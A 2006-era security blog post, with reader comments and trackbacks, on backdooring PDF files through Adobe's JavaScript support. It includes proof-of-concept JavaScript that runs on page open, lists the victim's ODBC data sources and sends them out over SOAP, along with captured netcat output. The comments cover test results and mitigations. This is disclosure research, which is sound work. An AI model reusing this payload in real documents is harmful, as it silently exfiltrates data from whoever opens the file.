Backdooring PDF Files
Have you ever needed to edit a PDF file? Try this PDF converter that can convert a pdf to word or excel in a flash. It can even keep forms tables in their original format!
Updates:
- 20/09/07 - PDP’s PDF URI Parsing Vulnerability
- 04/01/06 - New PDF Vulnerability
Recently, there has been alot of hype involving backdooring various web technologies. pdp (arcitect) has done alot of work centered around this area.
I saw Jeremiah Grossman mention PDF’s being “BAD”, however, I was unable to easily locate any practical reasons as to why. I decided to investigate this a little further.
At first glance PDF documents seem obviously vulnerable. This is due to the fact that it supports JavaScript. However, there are quite a few twists and turns. It is by no means as straight forward as this.
Adobe supports its own JavaScript object model. For example, “alert(’xss’)” must be called from the app object, so this becomes “app.alert(’xss’)”. This means JavaScript attacks are limited to the functionality supported within Adobe. Secondly, Adobe Reader and Adobe Professional (the two apps I focus on in this article) are very different with regards to which JavaScript objects are allowed.
This article will give two practical examples of how Adobe Professional and Adobe Reader can be backdoored. There are 7 or more points where an attacker can launch malicious code. Both of the attacks discussed below are attached to the “Page Open” event.
The trigger can be accessed via “Page Properties | Actions tab”.
The first attack is simple and affects both Adobe Reader and Adobe Professional. It involves adding a malicious link into the PDF document. Once the document is opened, the user’s browser is automatically launched and the link is accessed. At this point it is obvious that any malicious code be launched. It is interesting to note that both Adobe 6 & 7 did not warn me before launching these URLs.
The second attack involves utilising Adobe’s ADBC (Adobe Database Connectivity) and Web Services support. The following proof of concept code accesses the Windows ODBC, enumerates available databases and then sends this information to “localhost” via the web service.
var cURL = "http://localhost/";
var cTestString = "";
var databaseList = ADBC.getDataSourceList();
var DB = "";
if (databaseList != null) {
for (var i=0; i<databaseList.length ; i++)
DB+=databaseList[i].name;
}
cTestString = DB;
var response = SOAP.request( {
cURL: cURL,
oRequest: {
"http://myxmlns/:echoString": {
inputString: cTestString
}
},
cAction: "http://additional-opt/"
});
var result = response["http://no-need/:echoStringResponse"]["return"];
On the server side we get this: $ ./nc.exe -l -p 80 -v listening on [any] 80 ... connect to [127.0.0.1] from localhost [127.0.0.1] 1924 POST / HTTP/1.1 Accept: */* Content-Type: text/xml; charset=UTF-8 SOAPAction: "http://additional-opt/" Content-Length: 578 User-Agent: Mozilla/3.0 (compatible; Acrobat SOAP 7.0) Host: localhost Connection: Keep-Alive Cache-Control: no-cache <?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xm lns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w 3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOA P-ENV:Body><ns0:echoString SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/so ap/encoding/" xmlns:ns0="http://myxmlns/"><inputString xsi:type="xsd:string">MS Access 97 DatabaseFoxPro FilesText FilesMS Access DatabaseExcel FilesdBASE Files dbase1</inputString> </ns0:echoString> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
I am sure with a bit more creativity even simpler and/or more advanced attacks could be put together. Adobe Acrabat supports, “HTML forms”, “File system access” and the list goes on.
One of the other interesting finds was the fact that you can backdoor all Adobe Acrabat files by loading a backdoored JavaScript file into your %ADOBE-VERSION-DIR%\Acrobat\Javascripts directory.
Proof of concept for example 1 can be found here.
Proof of concept for example 2 can be found here.
Seem to be conflicting with good browser security practice.
Proof of Concept for example 1 (backdoored1.pdf) opened with Adobe Reader 7.0.8
(i.e. no browser plug-in used) issued a Security Warning dialog box:
“The document is trying to conenct to the site:
http://www.google.com/owned.html
If you trust the site click “Allow”, otherwise click “Block”.”
Option Remember my action is in use as well.
When clicking “Allow” this Google page was opened in MSIE (in fact FF is my default browser, however).
Am I missing something related to differences between Reader plug-in and Reader application?
I have tested both of the examples and no warning boxes are showing.
It seams that everybody is getting different results. Interesting!
I installed 7.0.8 (latest version) for testing.
If the document is loaded from the browser you receive no warning.
v7.0.8 seems to warn the user if the document is loaded from the
desktop.
I think this has to do with different Adobe contexts.
Yes, the first example opens MSIE without any user interaction when visiting your PoC link with Firefox 1.5.0.6.
This issue is more serious due to recent unpatched issues and public exploits in IE.
It is always possible to check the installed Acrobat plug-in with the following test URL:
http://gemal.dk/browserspy/acrobat.html
(FF and MSIE)
The following command works only in Gecko-based browsers:
about:plugins
POC did nothing for my Foxit PDF reader. No www-page was opened and no
script was executed. Maybe you folks should just dump the clumsy and
insecure Acrobat Reader and move onto something better for reading .pdf
documents? ;)
Peter Teoh sent me a link regarding a JavaScript to XML based attack.
I still think we are only scratching the surface.
[…] Unfortunately, I am just the messenger. Although I am not aware of any worms available that make use of this technique I won’t be surprised if I see one in a month or two’s time. Malicious Active content in Web Pages, Flash, QuickTime and PDF has suddenly become one of the biggest threats. […]
[…] Operation n » Blog Archive » Backdooring PDF Files (tags: pdf hack security) […]
[…] Gli attacchi descritti sono una semplice proof-of-concept ma il messaggio e’ chiarissimo: e’ possibile sfruttare i file PDF per come cavallo di troia, andando automaticamente ad una URL, piuttosto che enumerando i database della macchina su cui viene letto il file… […]
[…] Unfortunately, I am just the messenger. Although I am not aware of any worms available that make use of this technique I won’t be surprised if I see one in a month or two’s time. Malicious Active content in Web Pages, Flash, QuickTime and PDF has suddenly become one of the biggest threats. […]
If it only was so easy … !
Here I get a warning for the first and nothing for the second. But that’s not the point. The point is, when everyone screams for ‘easy’ and ’simple’ and a semantic web; how can you *not* want a link to go open in the background. Irrespective of WORD, PDF, etc. Not me, that is. But even my students of Data and Computer Security in their majority boot back to the ‘easy’ OS after their labs. Clickety-Click.
Sure, we’re just scratching the surface. But the problem isn’t Acrobat Reader. The problem is between the chair and the monitor.
[…] David Kierznowski, security specialist in web applicaties, heeft een interessante manier gevonden om Adobe’s PDF reader te misbruiken. Hij legt uit hoe je achterdeurtjes in PDF bestanden kunt maken. At first glance PDF documents seem obviously vulnerable. This is due to the fact that it supports JavaScript. […]
Explotando Acrobat Reader…
Un experto en seguridad ha demostrado que abrir con Acrobat Reader documentos PDF especialmente creados puede ser peligroso para el usuario. Estos _exploits_ tienen que ver con el uso de JavaScript y uno de ellos lanza el navegador hacia un enlace mali…
[…] Manipulated PDF exploits Adobe Acrobat flaws Security specialist David Kierznowski published an article revealing two possible backdoor techniques for fully patched versions of Adobe Acrobat Reader and Professional. It includes everything a wannabe hacker needs to know to exploit your computer: proof of concept code and backdoored PDF documents. Quote: […]
Neither of the effects could be observed using Apple’s Mac OS X Tiger (10.4.7) and Preview.app. Apparently, Preview.app does not interpret the Javascript embedded in the backdoored documents. Has anybody tried any other PDF viewers?
[…] A hacker azt állítja, a kidolgozott technológia konkrét megvalósításával még nem találkozott. A közétett, és teljesen peccselt Acrobat Reader-ben megnyitható demoi: […]
[…] I’ve been following a discussion regarding backdooring of PDF files on the full-disclosure mailing list originally posted by David Kierznowski. At his site, he discusses two techniques for exploiting Adobe Acrobat Reader and Professional. Within the POC pdf, there’s executable code that will launch a new browser window when opened. This is just a proof-of-concept, but it can be used to open web pages containg malicious code for exploiting holes in IE or Firefox. […]
Looks to me like its a flaw in the PLUG-IN not the Acrobat Reader
itself. Here plugin should be disabled for the “URI” action.
Go to your folder …..ProgramFileDir\Adobe\Acrobat ver\Reader\plug_ins\
& only leave the PLUGINS that are ONLY FREQUENTLY USED BY U (or
requests a program action withing the program)
Which in my case, i only have the plugins,
EWH32.api
Search*.api
rest….plugins move them to another folder (say:
ProgramFileDir\Adobe\Acrobat ver\plug_ins_disabled\ )
acrobat has grown something BEYOND just a reader into something BIG
with lots of attack vectors since ages.
best security practices ?
Bipin Gautam
http://bipin.tk
Zeroth law of security: The possibility of poking a system from lower
privilege is zero unless & until there is possibility of direct,
indirect or consequential communication between the two…
[…] Kierznowski’s original Operation n blog entry, “Backdooring PDF Files”. […]
Just tried with Mac OS X. Preview did not connect to the “owned.html” page at all.
Acrobat Reader 7.0.5 for Mac OS X alerted about JavaScript content (I have always disabled it), and alerted as well about the connection to the webpage, asking for explicit authorization.
[…] Spotted this on the weekend > backdooring PDF files. I wonder what will be done to resolve these issues? One thing I noticed is that most of these are folder level javascripts and not document level. Folder level would be that you’d have to compromise the machine before Acrobat could be compromised. […]
Nice Article, very interesting indeed. Thanks.
THX!
great article!
Adobe has launched Acrobat version 8 but did they get the news of your discovery in time or are we to expect a series of patches to come to the immediate rescue? PDF represents secure data in this day & age and I’d imagine your research could be quite detrimental to an already solid marketing expenditure.
[…] “Recently, there has been alot of hype involving backdooring various Web technologies,” said Kierznowski in his study. He said PDF documents seem like an obvious target because they support JavaScript, but found that exploitation wasn’t straightforward, partly because Adobe supports its own JavaScript model. read more | digg story […]
[…] “One of the other interesting finds was the fact that you can back-door all Adobe Acrobat files by loading a back-doored JavaScript file into [a local] directory,” Kierznowski said in a blog entry that includes the proof-of-concept exploit code. […]
[…] Recently I published information on how specially crafted HTML (remote and local), Flash and QuickTime (.mov) files can be used by malicious users to target and exploit internal and external networks. Than my friend and college David K released his findings on backdooring PDF documents via builtin Adobe Reader JavaScript features. Also, JavaScript malware via Google AJAX Search API seams to be possible and could affect many popular web software products. As Billy Hoffman said XSS is the new hotness!. I cannot agree more on that. […]
Hi guys,
First of all thanks for all the feedback its been fantastic. I thought I would give you guys some feedback from my discussions with Adobe:
Backdoor 1: Although we had some debate and discussion on this one, mainly regarding using a same origin policy, I think this will be present for some time to come.
Backdoor 2: They plan to resolve this in Adobe 8.
Sidenote: I was quite impressed with Adobe when discussing these issues.
Ok, this isn’t funny. I loaded this page in Firefox 1.5.0.7 under Sandboxie. Example one jumped out of the Sandboxie in to my non-sandboxed Firefox to load the ‘owned.html’ page. That’s not cool at all. Nice PoC, Bad sandbox. No more PDF’s for me for a while. btw: NoScript in the Sandboxie FF did stop it (of course) - John @ http://NIST.org
Your research is very welcome and I was able to verify it too (real bad news). I will be looking for ways to get around this; if I find anything, I’ll share. This has grave implications for a new business process I’m working on, so thanks again for the info.
Too bad you can’t disable Javascript in Acrobat. Didn’t work for me under Acrobat Reader 7, when I unchecked the enable javascript option in preferences.
A couple of suggestions to lock down the “client side” a little more with regards to Acrabat:
1. Remove additional plugins not being used, see
http://michaeldaw.org/md-hacks/backdooring-pdf-files/#comment-42. This is pretty much what Acrabat is planning to do in version 8.
2. Acrabat 7.0 allows one to turn off JavaScript altogether. This wont prevent all attacks, but will certainly mitigate it. This may still not prevent Backdoor 1.
Both these recommendations assume you don’t require the additional functionality.
I have Zone Alarm Pro version 6 running on my Windows XP box along with IE 6. Testing POC 1, Zone Alarm popped up a box warning me that Acrobat 6 is trying to communicate with iexplore.exe using DDE, and offering choice of Allow/Deny. I selected Deny. From that time on, wheniver I try POC 1, Zone Alarm announces and blocks Acrobat’s attempts to communicate with IE. So it appears Zone Alarm is one tool that, with the right settings, can defend againse this exploit.
hey dude how did u put that link code to google.pdf? I tried with verypdf editor but I didn’t find it
Amanda, I used a trial version of Adobe Professional. For those interested, I have been working on Backdooring PDF Files part 2.
Umm…
Don’t try to use adobe’s online pdf conversion tool on PoC1. . it seems to DOS it.
http://www.adobe.com/products/acrobat/access_onlinetools.html
Correct me if I’m wrong, but Jeremiah’s explanation of why PDFs are “BAD” were reported in the past:
http://www.webappsec.org/lists/websecurity/archive/2005-06/msg00130.html
pagvac,
see: http://michaeldaw.org/md-hacks/backdooring-pdf-files/#comment-23
[…] 1. Web Browser Intranet Hacking / Port Scanning - (with JavaScript and with HTML-only and the improved model) 2. Internet Explorer 7 “mhtml:” Redirection Information Disclosure 3. Anti-DNS Pinning and Circumventing Anti-Anti DNS pinning 4. Web Browser History Stealing - (with CSS, evil marketing, JS login-detection, and authenticated images) 5. Backdooring Media Files (QuickTime, Flash, PDF, Images, Word [2], and MP3’s) 6. Forging HTTP request headers with Flash 7. Exponential XSS 8. Encoding Filter Bypass (UTF-7, Variable Width, US-ASCII) 9. Web Worms - (AdultSpace, MySpace, Xanga) 10. Hacking RSS Feeds […]
[…] The WEB has gone crazy. I know that this is not news for some of you but you will be surprised to what extend this craziness has just developed. It seams that the entire WEB is falling apart and someone has to do something otherwise we risk to lose too much. Among the traditional QuickTime Movie, QTL, Flash, Image, HTML and PDF backdoors, there is another one trivially achievable with high degree of impact. […]
[…] http://michaeldaw.org/md-hacks/backdooring-pdf-files/ […]
[…] September was also the month of WEB media related XSS issue. Vulnerabilities in QuickTime .mov, .qtl and Adobe .pdf were found. In January 2007 a Universal Cross-site Scripting (UXSS) hole was undiscloused in Adobe PDF documents. This vulnerability is considered the worst XSS ever seen. […]
Hey … its cool …. i hv so many javascript files to utilize and here is the chance … in this article it is clearly mentioned that we can embed javascript in pdf files but can anyone tell .. how to do that.. i mean how to embed javascript in pdf… what the procedure… how to write pdf file having javascript …
because till this date i am creating pdf files by first create a DOC file in MS OFFICE and then convert it into pdf using some software…
but here is my question how to write javascriot commands in that pdf file…
hope someone ‘ll understand my Question and reply to me…
Thanx
ME_SAPP
[…] ründamiseks on keerulisem kui esmapilgul näib (lugege näiteks David Kierznowski artiklit “Backdooring PDF Files“). Sellegipoolest soovitavad eksperdid mitte avada tundmatuid või kahtlasi […]
actually over a year ago there was an available program for marketers that opened websites automatically as a flash movie was being played.
it’s considered in sme areas of the world an asset rather than a fault. the web isn’t falling apart, imho. what is happening is a failure of ethics..not software.
Lucky to find you, keep on the good workk guys! Best of luck.